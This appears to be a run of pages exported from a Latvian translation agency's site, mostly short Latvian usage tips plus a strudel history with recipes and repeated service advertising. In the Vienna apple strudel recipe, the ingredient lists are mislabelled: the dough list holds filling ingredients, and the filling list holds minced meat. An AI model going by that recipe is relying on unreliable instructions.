saziņā, gan sadzīvē - Published: 2019-02-20 - Modified: 2024-08-14 - URL: https://skrivanek.lv/simtgade-pret-simtsgade/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SIMTGADE PRET SIMTSGADE 1 Vai svinam Latvijas simtgadi vai simtsgadi? Latviešu valodā varam teikt gan „gadu desmits”, gan „gadu simts”, tāpat arī pareizas ir vārdkopas „simt gadu” un „simts gadu”, taču, veidojot salikteni, galotni „-s” atmetam un rakstām „desmitgade” un „simtgade”. Tātad svinam Latvijas simtgadi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Aprēķināsim trijstūra vai trīsstūra laukumu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi lietišķajā saziņā un sadzīvē. - Published: 2019-02-20 - Modified: 2024-07-12 - URL: https://skrivanek.lv/trijsturis-pret-trissturis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TRIJSTŪRIS PRET TRĪSSTŪRIS 1 Vai aprēķināsim trijstūra vai trīsstūra laukumu? Daudzstūru nosaukumi ir salikteņi, kurus veido divi komponenti: skaitļa vārda celms, piemēram, „četr-”, „piec-” vai „seš-”, un vārds „stūris”: „četrstūris”, „piecstūris”, „sešstūris”. Skaitļa vārdam „trīs” iespējamas gan lokāmas, gan nelokāmas formas, tādējādi iespējams daudzstūra nosaukumu veidot gan ar celmu „trij-”, gan pilnu nelokāmo formu „trīs”: „trijstūris” un „trīsstūris”. Tātad aprēķināsim vai nu trijstūra laukumu, vai trīsstūra laukumu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai raidījumā notiek debate vai debates? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-02-20 - Modified: 2022-12-27 - URL: https://skrivanek.lv/debate-pret-debates/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DEBATE PRET DEBATES 1 Vai raidījumā notiek debate vai debates? Vārds „debates” kā sinonīms vārdam „pārrunas” latviešu valodā aizgūts no franču valodas vārda „débat”. Lai gan oriģinālvalodā vārds ir vienskaitlī, latviešu valodā tas lietojams daudzskaitļa formā. Tātad raidījumā notiek debates. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kurpēm ir kapa vai kape? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-02-20 - Modified: 2024-08-29 - URL: https://skrivanek.lv/kapa-pret-kape/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KAPA PRET KAPE 1 Vai kurpēm ir kapa vai kape? Latviešu valodā pastāv vārds „kapa” – kapa ir grieķu alfabēta burts, kādreiz par kapu dēvēta gan svara, gan skaita mērvienība, un izloksnēs tā saukts gultas pārklājs no kokvilnas auduma. Savukārt apavu cietā daļa, kas ietver kājas papēdi, ir kape. Vārds aizgūts no vācu valodas vārda „Kappe” un latviešu valodā rakstāms nevis ar galotni „-a”, bet ar galotni „-e”: kape. Tātad kurpēm ir kape. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Dažādi viegli un izturīgi materiāli tiek ražoti no karbona vai oglekļa? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-20 - Modified: 2024-08-13 - URL: https://skrivanek.lv/karbons-pret-ogleklis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KARBONS PRET OGLEKLIS 1 Vai dažādi viegli un izturīgi materiāli tiek ražoti no karbona vai oglekļa? Ogleklis ir ķīmiskais elements ar simbolu C. Latīņu valodā vārds „carbo” (ģenitīvā „carbonis”) nozīmē ‘ogle’, un no šī vārda arī darināts simbola latviskais nosaukums. Tā kā oglekļa šķiedra sava nelielā svara un izturības dēļ pasaulē tiek plaši izmantota no tekstilrūpniecības līdz automobiļu ražošanai, par to tiek runāts aizvien vairāk. Angļu valodā ogleklis tiek saukts „carbon” un oglekļa šķiedra – „carbon fibre”. Arī latviešu valodā oglekļa savienojumu nosaukumos sastopam sakni „karb-”, piemēram, „karbīdi” vai „karbonāti”. Visticamāk, šo iemeslu dēļ vārda „ogleklis” vietā nereti sakām „karbons”. Ar vārdu „karbons” latviešu valodā tiek apzīmēts akmeņogļu periods – paleozoja piektais periods, kad mitrā klimatā veidojās biezas akmeņogļu iegulas. Iespējams, ar laiku šī vārda nozīme paplašināsies, taču pagaidām ogleklis un karbons nav viens un tas pats. Tātad varam iegādāties velosipēdu ar oglekļa šķiedras rāmi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pusdienās gatavosim puķkāpostus vai ziedkāpostus? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-02-20 - Modified: 2024-07-11 - URL: https://skrivanek.lv/pukkaposti-pret-ziedkaposti/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PUĶKĀPOSTI PRET ZIEDKĀPOSTI 1 Vai pusdienās gatavosim puķkāpostus vai ziedkāpostus? Kāpostus ar baltu, zarainu ziedkopu lapu rozetes vidū botānikā sauc par ziedkāpostiem. Ikdienā – receptēs, veikalos, ēdienkartēs – ziedkāpostus dēvē arī par puķkāpostiem. Nereti uzskatīts, ka vārds „puķkāposts” lietojams sarunvalodā vien, taču tā nav tiesa – ja botānikā runājam par dārza kāposta pasugu, precīzs nosaukums ir ziedu kāposts jeb ziedkāposts, un vispārlietojamā leksikā tā sinonīms ir puķkāposts. Tātad pusdienās gatavosim puķkāpostus jeb ziedkāpostus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Baudīsim ābolu strūdeli vai štrūdeli? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-02-20 - Modified: 2024-08-14 - URL: https://skrivanek.lv/strudele-pret-strudele/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional STRŪDELE PRET ŠTRŪDELE 1 Vai baudīsim ābolu strūdeli vai štrūdeli? Garenu konditorejas izstrādājumu no kārtainās mīklas ar pildījumu sauc par štrūdeli. Latviešu valodā tas ienācis no vācu valodas vārda „Strudel”. Tā kā vācu valodā tas izrunājams ar līdzskani „š”, nevis „s”, arī latviešu valodā šis konditorejas izstrādājams saucams par štrūdeli. Tātad baudīsim ābolu štrūdeli. Citi latviešu valodas padomi ĀBOLU ŠTRŪDELE – AUSTRIEŠU ĀBOLU VIRPULIS ŠTRŪDELES VĒSTURE Ābolu štrūdele (vācu: apfelstrudel; čehu: štrúdl; jidiša: שטרודל) ir tradicionāla Vīnes štrūdele, populārs konditorejas izstrādājums Austrijā, Bavārijā, Čehijā, Ziemeļitālijā, Slovēnijā un citās Eiropas valstīs, kas savulaik atradās Austroungārijas impērijas sastāvā (1867. –1918. ). Šajās valstīs ābolu štrūdele ir visplašāk zināmais štrūdeles veids. Ābolu štrūdele tiek uzskatīta par Austrijas nacionālo ēdienu kopā ar Vīnes šniceli un tāfelšpicu (Vīnes tāfelšpics ir viens no slavenās austriešu virtuves populārākajiem ēdieniem. Tā nosaukumā ietvertā norāde uz spici vai virsotni, norāda uz gaļas gabala formu). Štrūdele – vācu valodas vārds, kas ir cēlies no vidus augšvācu vārda, kas nozīmē ‘virpulis’, ‘atvars’. Savukārt, ābolu štrūdele itāliski tiek dēvēta par strudel di mele, poļu valodā to sauc par strudel jabłkowy, rumāņu valodā strudel de mere, slovēņu valodā jabolčni zavitek, horvātu valodā štrudla od jabuka vai savijača s jabukama, bet ungāru valodā almásrétes. Štrūdele ir saistīta arī ar aškenazi ebreju virtuvi, īpaši vācu, Šveices un Austrijas aškenazi ebrejiem. Ābolu un rozīņu pildījums ir populārs ebreju virtuvē gatavotai štrūdelei. Neatkarīgi no tā, vai štrūdele ir salda vai sāļa, tā popularitāti ieguva 18. gadsimtā Hābsburgu dinastijas laikā (1278. –1780. ). Austriešu virtuve veidojās un ietekmējās no daudzu dažādu tautu virtuvēm gadsimtu gaitā. Štrūdeles vēsturiskās saknes sniedzas vēl senākā pagātnē, jo tā it kā esot noskatīta no līdzīga turku konditorejas izstrādājuma – baklavas, ko austrieši iepazinuši jau 15. gadsimta vidū. Grieķi gan bieži apgalvo, ka šādu mīklu izdomājuši viņi. Tās vēsturei var izsekot līdz pat Senajai Bizantijai. Citos avotos teikts, ka pirmie, kam ienācis prātā stiept un placināt mīklu uz visām pusēm, lai tā būtu papīra plānumā, ir bijuši arābi. Tāpat štrūdelei līdzīgi izstrādājumi jau senos laikos esot gatavoti Ziemeļāfrikā, bet vēlāk iecienīti arī Spānijā un Francijā. Taču arābi šo mīklu netina veltnī, bet lika kārtām. Tā nu beigās nav īsti saprotams, kurš no kura ko aizguva un kad tas īsti notika. Taču reti kuriem ēdieniem izdotos saglabāt savu popularitāti cauri gadsimtiem, kā to spējusi štrūdele. Daudzas pavāru paaudzes ieguldījušas savu prasmi un izdomu, lai uzlabotu štrūdeles mīklu un dažādotu pildījuma variantus. Ābolu štrūdele ir tikai viena no neskaitāmajām štrūdeles variācijām. Patiesībā senākās receptes liecina – tās tika pildītas ar pastinakiem un nepavisam nebija saldas. Savukārt 1695. gadā kādā Vīnes pavārgrāmatā pierakstītā recepte paredzēja štrūdeli pildīt ar piena krēmu. Šī recepte līdz pat mūsdienām glabājas Vīnes Rātsnama bibliotēkā. Pamazām parādījušās dažādas variācijas – atkarībā no izejvielām, kas tobrīd saimniecei bija pie rokas – ķirbji, sēnes, kartupeļi, nekādas vainas nebija arī plūmēm, ķiršiem, riekstiem, biezpienam, maigai karbonādei un pat dažādiem subproduktiem. Tomēr tiesa kas tiesa – maigo, saldeni skābo ābolu štrūdeli popularitātē apsteigt ir grūti. Vīnes elegance izpaužas sieviešu augstpapēžu kurpju klaudzēšanā pie operas durvīm un graciozi apliktajās šallēs, vīriešu tumšajos mēteļos un rūpīgi pieskaņotajās kaklasaitēs, stilīgajās kafijas krūzēs vecpilsētas krodziņos un skaistā šķīvītī pasniegtā ābolu štrūdelē, kas apkaisīta ar pūdercukuru peld vaniļas mērcē. ŠTRŪDELES PAGATAVOŠANA Vislielāko pārsteigumu sagādā štrūdeles mīkla. Pieņemts uzskatīt, ka visu šo dažādo recepšu variāciju vienojošais elements ir kārtainā mīkla. Jā, lielā daļā pasaules saimnieces izmanto tieši šo mīklu, pārliecībā, ka tieši šādi top īstā štrūdele. Sākotnēji štrūdeles tiešām tapa no kārtainās mīklas, pareizāk – no tās austrumnieciskās radinieces filo mīklas, ko uz Ungāriju bija atveduši turku iekarotāji. Par Eiropas teritorijām kareivīgajiem turkiem varbūt nācās pacīnīties, taču gardēžu vēderi bez ierunām padevās austrumu saldumu maigajai varai, tāpēc tobrīd gaisīgā, kraukšķīgā austrumnieku mīkla tika plaši izmantota dažādos ēdienos. Kaut gan brīdī, kad štrūdele nokļuva Vīnē, tās mīkla jau bija piedzīvojusi transformācijas (pielāgojoties vietējām kviešu šķirnēm), un tāda arī tika ierakstīta austriešu kulinārijas kanonā. Stingra un staipīga, gatavota no miltiem, kas bagāti ar glutēnu un papildināti ar drusciņu ūdens, eļļas un sāls. Taču mīklas veiksmes formula slēpjas tās darināšanā. Pusstunda mīcīšanas, pusstunda atpūtināšanas un tad – pats galvenais – izrullēšana. Austrieši mēdzot teikt, ka labam cepējam štrūdeles mīkla iznāk tik plāna, ka caur to var izlasīt mīlestības vēstuli. Ja pavārs ir iemīlējies, viņam droši vien ir daudz iedvesmas un sanāk īsts konditorejas šedevrs. Bet, ja sirdslietas nav aktuālas un neviena mīlestības vēstule negadās pa rokai, tad mīklas gatavošanas procesā ieteicams izmantot rūtainu dvielīti – mīkla ir pietiekami plāna, kad rūtis tai spīd cauri. Tieši pagatavot mīklu ir vislielākā māksla. Kad tas apgūts, atliek vien izvēlēties tīkamāko pildījumu – ābolu, ķiršu, meža ogu, biezpiena un rozīņu, magoņu, mandeļu, šokolādes, halvas, kartupeļu, kāpostu, gaļas vai kādu citu. Štrūdeli var baudīt kopā ar vieglu smaržīgu kafiju vai tēju, saldo štrūdeli mēdz pasniegt ar putukrējumu, saldējumu, reizēm arī ar vaniļas mērci. Sāļās štrūdeles ir sātīgas, tās var noderēt pusdienām vai maltītei darba pārtraukumā. ŠTRŪDELES RECEPTES MĀRTIŅA SIRMĀ VĪNES ĀBOLU ŠTRŪDELES RECEPTE Ābolu štrūdele patiesi ir viens no populārākajiem un izplatītākajiem kulta desertiem pasaulē, ko savās ēdienkartēs iekļāvuši gan smalkie Vīnes kafijas nami, gan Amerikas ceļmalas krogi, gan Japānas tējnīcas. Un, ja šo rudens garšu piesātināto ābolmaizi cepsi mājās, atvērsi durvis priekam un svētku aromātam. SASTĀVDAĻAS Mīklai 100 g rīvmaizes; 50 g svieta; 140 g cukura; 10 g malta kanēļa; 170 g rozīņu; 10 g citrona sulas; viens kg mizotu, plānās šķēlēs sagrieztu skābu ābolu (vēlams Antonovka); viena šļuka ruma. Štrūdeles mīklas masa ir pavisam vienkārša, taču to labāk ieteicams pagatavot iepriekšējā dienā. Pildījumam Viens kg liellopu maltās gaļas, 350 g treknas maltās cūkgaļas, sīpols, pipari, koriandrs, sāls. MĪKLAS SAGATAVOŠANA Sajauc kopā olas ar remdeno ūdeni, eļļu un sāli, tad pievieno masai miltus. Visu kārtīgi sajauc un liek ledusskapī uz nakti, lai visas sastāvdaļas labāk sadraudzējas un kļūst par vienu veselu. ŠTRŪDELES PILDĪJUMU SAGATAVO PA DAĻĀM Aplej rozīnes ar rumu un liek, lai ievelkas. Pannā izkausē sviestu un apcep tajā rīvmaizi, līdz tā kļūst zeltaini brūna. Sajauc kanēli ar cukuru. Kad sviestā karamelizētā rīvmaize atdzisusi un rozīnes piesūkušās ar rumu, sajauc visas pildījuma sastāvdaļas kopā ar šķēlēs sagrieztajiem svaigajiem āboliem. ŠTRŪDELES VEIDOŠANA UN CEPŠANA Sadala sagatavoto mīklu nelielās porcijās. Pāris minūtes pirms mīklas rullēšanas, patur to neitrālas garšas eļļā − tad tā kļūs elastīgāka. Uz kokvilnas drānas uzkaisa miltus un uz tās plāni jo plāni izrullē strūdeles mīklu. Apgriež liekos stūrus un biezākās mīklas maliņas. Klāj bagātīgi ābolu štrūdeles pildījumu četrstūra formā izrullētās mīklas vienā malā un ar kokvilnas drānas palīdzību sarullē štrūdeli. Kārto štrūdeli uz cepampapīra, kas nokaisīts ar rīvmaizi, apsmērē kūku ar kausētu sviestu un liek cepties, iepriekš uzkarsētā cepeškrāsnī, kādas 20 min. 180 C grādos. Kad māju piepilda ceptu ābolu un kanēļa aromāts un kad štrūdele kļuvusi zeltaini brūna, ņem to ārā no cepeškrāsns. Baudīt to var gan karstu, gan aukstu ar saldo krējumu vai vaniļas mērci. KĀPOSTU ŠTRŪDELE SASTĀVDAĻAS Mīklai 200 g miltu, viena ola, viena ēdamkarote augu eļļas, šķipsniņa sāls, trīs ēdamkarotes silta ūdens. Pildījumam 800 g kāpostu, viens sīpols, divas ēdamkarotes tauku, viena ēdamkarote cukura, viena ēdamkarote galda etiķa, pusglāze liellopu gaļas buljona, viena tējkarote maltu ķimeņu, sāls, piparu, 125 g krējuma, 50 g sviesta. PAGATAVOŠANA Miltus ber uz dēļa kaudzītē, vidū izveido padziļinājumu, iesit olu, ielej eļļu, pievieno sāli. Mīca mīklu virzienā no miltu kaudzītes malām uz vidu, pamazām lej klāt ūdeni, līdz mīkla ir vidēji cieta. Turpina mīcīt 15 minūtes, līdz tā vairs nelīp pie rokām un ir gluda. Saveļ mīklu kamolā, viegli pārziež ar augu eļļu, pārsedz ar bļodiņu un atstāj uz pusstundu. Kāpostus un sīpolu sīki sagriež. Pannā sakarsē taukus, tajos apcep sīpolu, pievieno cukuru un ļauj tam izkust, pievieno etiķi un buljonu, kāpostus, ķimenes, sāli un piparus. Maisot sautē 20 minūtes, līdz kāposti ir pusmīksti, bet viss šķidrums iztvaikojis. Atdzesē, pievieno krējumu, samaisa. Mīklu liek uz samiltota dvielīša, izveltnē ļoti plāni, izstiepj ar rokām. Sviestu izkausē, daļu izmanto plāts ieziešanai. Mīklu pārliek ar pildījumu, atstājot brīvas malas aptuveni 3 cm platumā. Saritina štrūdeli, malas saspiež kopā. Liek uz plāts ar salaiduma vietu uz leju (lai štrūdele satilptu uz plāts, to var arī saliekt kā kliņģeri). Pārziež ar atlikušo sviestu un cep cepeškrāsnī 200 grādu temperatūrā aptuveni 45 minūtes. Pasniedz karstu. VĀCU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu vācu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no vācu valodas. Tulkojumi gruzīnu valodā VĀCU VALODAS KURSI Piedāvājam vācu valodas mācības uzņēmumu un iestāžu darbiniekiem. Privātpersonām nodrošinām regulāros vācu valodas kursus grupā vai individuālos vācu valodas kursus. Īpašais piedāvājums – apmeklējiet individuālos vācu valodas kursus divatā, maksājot tikai par viena studenta mācībām! Vācu valodas kursi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Šoreiz, pērli gatavojot, esam domājuši par durvīm – vai tad, ja galvenās durvis ir ciet, ieeja ir pa blakus durvīm vai blakus durvīs? - Published: 2019-01-11 - Modified: 2021-05-06 - URL: https://skrivanek.lv/ka-ieklut-maja/ - Kategorijas: valodas pērles - Translation Priorities: Optional KĀ IEKĻŪT MĀJĀ? Šoreiz, pērli gatavojot, esam domājuši par durvīm – vai tad, ja galvenās durvis ir ciet, ieeja ir pa blakus durvīm vai blakus durvīs? Ko mēs iztēlojamies, dzirdot vārdu „durvis”? Droši vien acu priekšā redzam palielu koka, dzelzs, stikla vai kāda cita materiāla plāksni, kurai ir kāda satveršanai ērta detaļa, proti, rokturis. Durvis ir domātas, lai tās varētu atvērt un aizvērt – bīdot, velkot uz sevi vai stumjot prom no sevis. Nu jau ilgāku laiku mūs vairs nepārsteidz durvis, kuras varam atvērt pat bez roktura, jo tās reaģē uz mūsu kustību. Apskatīsim šī vārda nozīmi: „Mūsdienu latviešu valodas vārdnīcā” pamata nozīmē durvis ir ‘ēkas, istabas u. tml. sienā izveidota aile ar kustināmu plāksni (ēkas, telpas) atvēršanai vai noslēgšanai’. Tātad par durvīm saucam visu „konstrukciju” kopā: aili, proti, atvērumu, un plāksni arīdzan. Lai gan parasti iztēlojamies tieši plāksni, tomēr valodas lietojums, frāzes, kuras sakām, runājot par durvīm, arī rāda, ka durvis uztveram par atvērumu. Mēs kādam aizrādām: „Nestāvi durvīs, nāc iekšā! ” Mēs sakām: „Durvīs parādījās viesi. ” Tāpat arī: „Durvīs viņš pagriezās un atskatījās. ” Atrodami arī frazeoloģismi, piemēram, „lauzties vaļējās (atvērtās) durvīs” ar nozīmi ‘pūlēties lieki, nevajadzīgi, nezināšanas dēļ’. Ļoti bieži lietojam prievārdisku konstrukciju „pa durvīm”. Arī starp daudzajām prievārda „pa” nozīmēm atrodam, ka „pa” ‘norāda uz vietu, caur kuru (kas) virzās, izkļūst, notiek’, piemēram, „iebraukt pa vārtiem”, „ieslīdēt pa spraugu”, „izkrist pa caurumu kabatā”. Tātad arī šis prievārds norāda, ka varam iet cauri durvīm. Ja vēlamies nācējiem norādīt, ka viņiem iekļūšanai mājā jāizmanto citas durvis, droši zīmītē varam rakstīt gan „ieeja pa blakus durvīm”, gan „ieeja blakus durvīs” – abas konstrukcijas ir pareizas un ir labs paraugs dažādajām izteiksmes iespējām mūsu latviešu valodā. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Pēc kūkām dosimies uz konditoreju vai konditoriju? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-10-21 - URL: https://skrivanek.lv/konditoreja-vai-konditorija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KONDITOREJA VAI KONDITORIJA 1 Vai pēc kūkām dosimies uz konditoreju vai konditoriju? Veikalu, kurā pārdod cepumus, smalkmaizītes, kūkas, tortes u. tml. izstrādājumus, sauc par konditoreju. Šis vārds aizgūts no vācu valodas vārda „Konditorei”. Tātad konditorejas izstrādājumus iegādāsimies konditorejā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 